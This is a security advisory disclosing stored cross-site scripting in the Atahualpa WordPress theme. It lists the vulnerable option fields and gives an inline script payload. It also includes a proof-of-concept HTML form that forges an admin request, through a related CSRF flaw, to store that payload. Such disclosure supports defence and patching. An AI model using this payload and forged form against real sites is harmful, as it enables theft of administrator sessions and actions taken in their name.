WordPress Atahualpa Theme Cross Site Scripting
Posted on 03 March 2017
------------------------------------------------------------------------ Cross-Site Scripting in Atahualpa WordPress Theme ------------------------------------------------------------------------ Spyros Gasteratos, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A number of Cross-Site Scripting vulnerabilities were found in the Atahualpa WordPress Theme. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to use the CSRF vulnerability described in SFY20160759 to trick the admin into storing malicious input. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160724-0004 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Atahualpa WordPress Theme WordPress Theme. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ There is currently no fix available. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_atahualpa_wordpress_theme.html Providing any of the following fields with string such as: "><script>alert(1);</script> results in the script element getting appended after the respective input element when the request returns from the server: "comment_feed_link", "home_cat_menu_bar", "email_subscribe_link", "home_single_next_prev", "email_subscribe_link_title", "feedburner_email_id", "excerpt_length", "page_menu_bar_link_color", "cat_menu_bar_background_color_parent", "cat_menu_bar_link_color", "left_col_pages_exclude", "widget_lists link-hover-color", "left_col2_cats_exclude" The solution to this issue is to encode as html all the user-provided parameters before they are returned to the browser. Proof of concept In order to reproduce the issue the following request can be replayed using the cookies of the current admin. <html> <body> <form action="https://play.sfy.nl/wp-admin/themes.php?page=atahualpa-options" method="POST"> <input type="hidden" name="widget_container" value="margin: 0 0 15px 0;"/> <input type="hidden" name="widget_title_box" value=""/> <input type="hidden" name="widget_title" value="font-size: 1.6em; font-weight: bold;"/> <input type="hidden" name="widget_content" value=""/> <input type="hidden" name="widget_lists[li-margin-left]" value="0"/> <input type="hidden" name="widget_lists[link-border-left-width]" value="7"/> <input type="hidden" name="widget_lists[link-border-left-color]" value="CCCCCC"/> <input type="hidden" name="widget_lists[link-border-left-hover-color]" value="000000"/> <input type="hidden" name="widget_lists[link-padding-left]" value="5"/> <input type="hidden" name="widget_lists[link-weight]" value="normal"/> <input type="hidden" name="widget_lists[link-color]" value="666666"/> <input type="hidden" name="widget_lists[link-hover-color]" value="000000"/> <input type="hidden" name="widget_lists2[li-margin-left]" value="5"/> <input type="hidden" name="widget_lists2[link-border-left-width]" value="7"/> <input type="hidden" name="widget_lists2[link-border-left-color]" value="CCCCCC"/> <input type="hidden" name="widget_lists2[link-border-left-hover-color]" value="000000"/> <input type="hidden" name="widget_lists2[link-padding-left]" value="5"/> <input type="hidden" name="widget_lists2[link-weight]" value="normal"/> <input type="hidden" name="widget_lists2[link-color]" value="666666"/> <input type="hidden" name="widget_lists2[link-hover-color]" value="000000"/> <input type="hidden" name="widget_lists3[li-margin-left]" value="5"/> <input type="hidden" name="widget_lists3[link-border-left-width]" value="7"/> <input type="hidden" name="widget_lists3[link-border-left-color]" value="CCCCCCw66ar"><script>alert(1)</script>ljgl1"/> <input type="hidden" name="widget_lists3[link-border-left-hover-color]" value="000000"/> <input type="hidden" name="widget_lists3[link-padding-left]" value="5"/> <input type="hidden" name="widget_lists3[link-weight]" value="normal"/> <input type="hidden" name="widget_lists3[link-color]" value="666666"/> <input type="hidden" name="widget_lists3[link-hover-color]" value="000000"/> <input type="hidden" name="category_widget_display_type" value="inline"/> <input type="hidden" name="select_font_size" value="Default"/> <input type="hidden" name="save" value=""/> <input type="hidden" name="action" value="save"/> <input type="hidden" name="category" value="widgets"/> <input type="submit"/> </form> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.
